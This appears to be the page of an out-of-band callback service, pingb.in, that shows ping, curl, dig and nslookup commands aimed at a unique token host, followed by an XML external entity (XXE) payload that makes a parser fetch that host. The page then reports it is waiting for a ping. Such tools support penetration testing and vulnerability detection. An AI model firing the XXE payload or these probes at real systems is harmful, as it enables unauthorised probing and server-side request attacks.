$ ping -c1 -p 00779470eb42bc7d2688e997da3eca00 pingb.in
 
$ curl pingb.in/p/779470eb42bc7d2688e997da3eca
 
$ dig 779470eb42bc7d2688e997da3eca @pingb.in
 
$ dig 779470eb42bc7d2688e997da3eca.ns.pingb.in
 
C:\> nslookup 779470eb42bc7d2688e997da3eca pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/779470eb42bc7d2688e997da3eca">]>
    <foo>&xxe;</foo>
 
Waiting for ping...